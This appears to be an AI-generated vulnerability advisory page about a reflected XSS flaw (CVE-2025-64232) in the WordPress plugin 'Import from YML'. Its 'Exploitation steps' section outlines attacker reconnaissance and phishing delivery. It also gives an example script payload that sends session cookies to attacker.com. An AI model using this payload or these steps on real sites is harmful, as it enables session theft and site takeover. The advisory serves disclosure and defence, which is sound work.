CVE-2025-64232
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-64232 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Import from YML" by icopydoc, affecting all versions up to and including 3.1.17. The vulnerability was reported by researcher 0xd4rk5id3 on December 7, 2024, and published by Patchstack on April 14, 2025. It carries a CVSS v3.1 base score of 7.1 (Medium/High) and requires no authentication but does require user interaction to exploit (Patchstack).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS flaw. The plugin fails to properly sanitize or encode user-supplied input before reflecting it back in the generated web page, allowing an attacker to craft a malicious URL containing injected JavaScript. Exploitation requires a privileged user (e.g., an administrator) to click a crafted link or visit a malicious page, at which point the injected script executes in their browser context. The vulnerability is categorized under OWASP Top 10 A3: Injection (Patchstack).

Impact

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim user's browser session, potentially enabling session hijacking, credential theft, unauthorized administrative actions, or redirection to malicious sites. Because the attack targets privileged users such as WordPress administrators, a successful exploit could lead to full site compromise, including installation of backdoors or malicious plugins. The scope is marked as "Changed" in the CVSS vector, indicating the impact extends beyond the vulnerable component itself (Patchstack).

Exploitability

No public proof-of-concept exploit code or active in-the-wild exploitation has been confirmed at this time. The EPSS score is approximately 0.033% (0.000330), indicating a low probability of exploitation in the near term. The vulnerability requires no authentication but does require user interaction (a privileged user clicking a malicious link), which somewhat limits opportunistic exploitation. Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack). It is not currently listed in the CISA KEV catalog.

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the "Import from YML" plugin version 3.1.17 or earlier using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/import-from-yml).
  2. Craft malicious URL: Construct a URL targeting the vulnerable plugin endpoint that includes an unsanitized parameter containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
  3. Deliver the payload: Send the crafted URL to a privileged WordPress user (e.g., administrator) via phishing email, social engineering, or embedding it in a comment or message.
  4. Trigger execution: When the victim clicks the link and loads the page, the reflected script executes in their browser, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or redirect them to a malicious site.
  5. Achieve objective: Use the stolen session token to authenticate as the administrator and take full control of the WordPress site (Patchstack).

Indicators of compromise

  • Network: HTTP requests to WordPress pages associated with the Import from YML plugin containing URL-encoded JavaScript payloads (e.g., <script>, onerror=, javascript:) in query parameters; outbound requests from victim browsers to unknown attacker-controlled domains shortly after accessing plugin-related pages.
  • Logs: WordPress or web server access logs showing GET requests to plugin-related endpoints with suspicious parameter values containing HTML/JavaScript tags or encoded equivalents.
  • Browser/Session: Unexpected session invalidation or new administrator sessions created from unfamiliar IP addresses following a user clicking an external link.

Mitigation and workarounds

The vendor has released version 4.0.0 of the "Import from YML" plugin, which patches this vulnerability. All users running version 3.1.17 or earlier should update to version 4.0.0 or later immediately via the WordPress plugin dashboard. As an interim measure, Patchstack users can apply the platform's virtual patching/mitigation rule to block exploitation attempts until the plugin is updated (Patchstack). Additionally, site administrators should avoid clicking unsolicited links and consider implementing a Web Application Firewall (WAF) with XSS filtering rules.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77115HIGH7.1
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-77116MEDIUM4.3
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-14853MEDIUM4.3
  • woocommerce-bookings
NoYesAug 23, 2026
CVE-2026-77003LOW2.7
  • content-mask
NoYesAug 23, 2026
CVE-2026-13598NONEN/A
  • restrictmate
NoYesAug 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management